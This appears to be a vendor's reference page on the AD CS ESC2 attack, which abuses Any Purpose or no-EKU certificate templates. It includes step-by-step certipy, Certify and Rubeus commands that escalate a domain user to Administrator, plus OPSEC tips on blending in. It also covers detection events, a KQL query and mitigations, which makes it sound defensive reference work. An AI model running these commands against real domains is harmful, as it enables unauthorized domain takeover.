1. Resources
  2. Identity Threats
  3. Active Directory

AD CS ESC2: Any Purpose or No EKU Template

Also known as: ESC2, Any Purpose EKU, No EKU template, SubCA template abuse

A low-privileged user enrolls in a template with the Any Purpose EKU or no EKU and uses the certificate as an enrollment agent to get a certificate for another account.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Any authenticated identity
Any domain account with Enroll on a published template that has the Any Purpose EKU or no EKU, with no manager approval and no authorized signature.
What the attacker gains
A certificate usable for any purpose, including signing requests on behalf of other users, which leads to a logon certificate for a privileged account.
Threat groups
APT29NIMBUS MANTICOREGroups that MITRE ATT&CK records using T1649.

How it works

Every certificate that Active Directory Certificate Services issues from a template carries the extended key usages (EKUs) the template lists. They tell relying parties what the certificate may be used for: client authentication, server authentication, code signing, and so on. ESC2 is a template that sets no real limit:

  • the Any Purpose EKU (2.5.29.37.0), or
  • no EKU at all, which Windows treats as valid for every purpose. The built-in SubCA template is the best known example.

When a low-privileged principal can enroll in such a template without manager approval or an authorized signature, the certificate they receive names their own account but can stand in for any EKU. Three uses matter to an attacker:

  • Enrollment agent. Any Purpose covers the Certificate Request Agent usage (1.3.6.1.4.1.311.20.2.1). The attacker signs a second request on behalf of another user, and the CA issues a logon certificate for that user. This is the main escalation path and from here on it is the same as ESC3.
  • Client authentication as the requester. The certificate works for PKINIT and Schannel as the attacker's own account. That is not an escalation, but it is a credential that survives password changes.
  • Other trust decisions. Server authentication, code signing and any application that trusts the CA and checks only the EKU.

If the template also lets the requester supply the subject, the request is the same as ESC1 and no second step is needed.

No EKU does not mean CA

A certificate without an EKU is unrestricted in purpose, but it can sign other certificates only when it also carries Basic Constraints with cA=true and, where key usage is present, keyCertSign. RFC 5280 path validation checks these separately from the EKU. A certificate that does meet them is a working subordinate CA, yet the certificates it signs are accepted for domain sign-in only if that CA is in the forest's NTAuth store. A CA the attacker signs with is not there by default, so this route is a PKI trust problem (other applications that trust the root may accept the leaves) rather than a direct domain escalation.

Prerequisites

  • A domain account with network access to the CA and a domain controller.
  • A published template with the Any Purpose EKU or no EKU, on which the attacker has Enroll, with manager approval off and msPKI-RA-Signature 0 or absent.
  • For the on-behalf-of step, a second published template that:
    • has an authentication EKU (Client Authentication, PKINIT Client Authentication or Smart Card Logon);
    • accepts enrollment agents. Schema version 1 templates such as User and Machine do. Version 2 or later templates must list Any Purpose in their required application policies (msPKI-RA-Application-Policies) with one authorized signature;
    • grants Enroll to the victim account.
  • No enrollment agent restrictions on the CA that exclude the attacker. The default is "Do not restrict enrollment agents".

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find the templates

certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout

Certipy marks the template with ESC2 : Template can be used for any purpose and usually ESC3 as well, because Any Purpose includes the request agent usage. Templates that can be targeted in the second step carry the remark ESC2 Target Template.

On Windows:

Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins
Certify.exe enum-templates --filter-enabled --filter-request-agent --hide-admins

The second command lists the templates that accept a request signed by an agent. The raw LDAP filter for the first condition is:

(&(objectclass=pkicertificatetemplate)
  (!(msPKI-Enrollment-Flag:1.2.840.113556.1.4.804:=2))
  (|(msPKI-RA-Signature=0)(!(msPKI-RA-Signature=*)))
  (|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

2. Enroll in the Any Purpose template

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'AnyPurposeCert'

The result is alice.pfx, a certificate for the attacker's own account. With Certify:

Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template AnyPurposeCert

3. Request a certificate on behalf of the target

Use the first certificate to sign a request for the target against an authentication template:

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'User' \
    -pfx 'alice.pfx' -on-behalf-of 'CORP\Administrator'

Certify uses a separate command and takes the agent certificate as base64:

Certify.exe request-agent --ca SRV01.corp.example.com\CORP-CA --template User --target CORP\Administrator --agent-pfx <base64-pfx>

The CA verifies the agent signature and issues a certificate whose subject is the target. Because the target template builds the subject from the directory, the CA itself adds the target's SID to the security extension, so the certificate has a strong mapping.

4. Authenticate

certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10
.\Rubeus.exe asktgt /user:Administrator /certificate:<base64-or-path-to-pfx> /domain:corp.example.com /dc:DC01.corp.example.com /ptt /nowrap

Impact

Through the on-behalf-of path, ESC2 gives a domain user a logon certificate for any account that can enroll in the target template, which normally includes administrators. That is full privilege escalation to the domain, in two certificate requests.

Without that path the certificate is still valuable. It authenticates as the requester through Kerberos PKINIT or Schannel for its whole validity period, regardless of password changes, and it can be presented wherever an application trusts the CA for server authentication or code signing.

OPSEC and artifacts

  • Two ordinary-looking requests. Neither request sets a subject alternative name, so rules that look for a requester-supplied SAN see nothing. The CA still writes event 4886 and event 4887 for each one, both with the attacker as requester, and the second certificate's subject is a different account.
  • Choosing a common target template. Requesting on behalf of someone against User blends into a template with heavy legitimate volume. The on-behalf-of request is still rare: outside smart card enrollment stations, almost no one signs requests for other users.
  • The agent certificate is reusable. An operator can keep the Any Purpose certificate and come back later, so the two requests may be days apart. Both stay in the CA database with their serial numbers and requester.
  • PKINIT. Event 4768 on the domain controller records the certificate sign-in for the target account from the attacker's address.
  • Files and processes. PFX and ccache files on the attacker's host; Certify.exe and Rubeus.exe command lines in process creation logs.

Detection

  • Issuance from an unrestricted template. Alert on 4887 for any template whose EKU list is empty or contains Any Purpose, when the requester is not a PKI administrator. Build the template list from the directory, because the event names the template, not its EKUs.
  • Requester differs from subject. For on-behalf-of enrollment, the requester in 4886 and 4887 is the agent and the issued subject is someone else. Outside a known enrollment station this is a strong signal.
  • Same requester, two templates, different subject. One account that enrolls in an Any Purpose or request agent template and then obtains a certificate for another account.
  • Template drift. An EKU list that is emptied or changed to Any Purpose appears as event 5136 on the template. The certificate template modification rules watch pKIExtendedKeyUsage and msPKI-Certificate-Application-Policy.
  • Certificate sign-in by privileged accounts. The certificate mapping rules include a TGT obtained with a certificate by the built-in Administrator.
// Certificates issued from templates that have no EKU restriction
let UnrestrictedTemplates = dynamic(["SubCA", "AnyPurposeCert"]);   // maintain from the directory
WindowsEvent
| where EventID == 4887 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Requester = tostring(EventData.Requester),
         RequestId = tostring(EventData.RequestId),
         Template = tostring(EventData.CertificateTemplate),
         Subject = tostring(EventData.Subject)
| where Template in~ (UnrestrictedTemplates)
| project TimeGenerated, Computer, RequestId, Requester, Template, Subject

Both CA events need the Audit Certification Services subcategory and the CA's "Issue and manage certificate requests" audit filter.

Mitigation

  • Replace Any Purpose and empty EKU lists on user and computer templates with the narrowest EKU the use case needs.
  • Restrict enrollment on any template that must stay unrestricted (subordinate CA templates) to PKI administrators, and require CA certificate manager approval.
  • Restrict enrollment agents on the CA. In the CA's properties, on the Enrollment Agents tab, list which agents may enroll for which templates and on behalf of which groups. This also limits ESC3.
  • Move target templates to schema version 2 or later with an explicit required application policy, or remove agent enrollment where nobody uses it. Version 1 templates accept any agent certificate.
  • Unpublish unused templates, including SubCA on CAs that never issue subordinate CA certificates.
  • Audit the CA (Audit Certification Services and the CA audit filter) and the template objects (Audit Directory Service Changes with a SACL). The Active Directory audit policy guide covers the directory side.
  • After an incident, revoke both the agent certificate and every certificate it signed for.
  • Put AD CS in the hardening plan. The CA, its templates and its administrators are Tier 0; the Active Directory hardening guide places the AD CS review among the Tier 0 controls.

Detection rules for this attack

Log events to collect

FAQ

What is the difference between ESC1 and ESC2?

In ESC1 the template lets the requester choose the certificate's subject, so the attacker asks for a certificate that names the victim directly. In ESC2 the subject is still the attacker, but the certificate has no usage restriction. The attacker uses it as an enrollment agent certificate and asks the CA for a second certificate on behalf of the victim.

Is a certificate with no EKU a subordinate CA certificate?

Not by itself. A certificate can sign other certificates only if it also carries Basic Constraints with cA set to true and, where key usage is present, the keyCertSign bit. Even then, certificates it signs are accepted for domain sign-in only if the signing CA is trusted in the NTAuth store.

Which templates can an ESC2 certificate be used against?

Any published authentication template that accepts enrollment on behalf of another user and that the victim can enroll in. Schema version 1 templates such as the built-in User and Machine templates accept any enrollment agent. Version 2 and later templates accept the certificate only if their required application policy lists Any Purpose.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.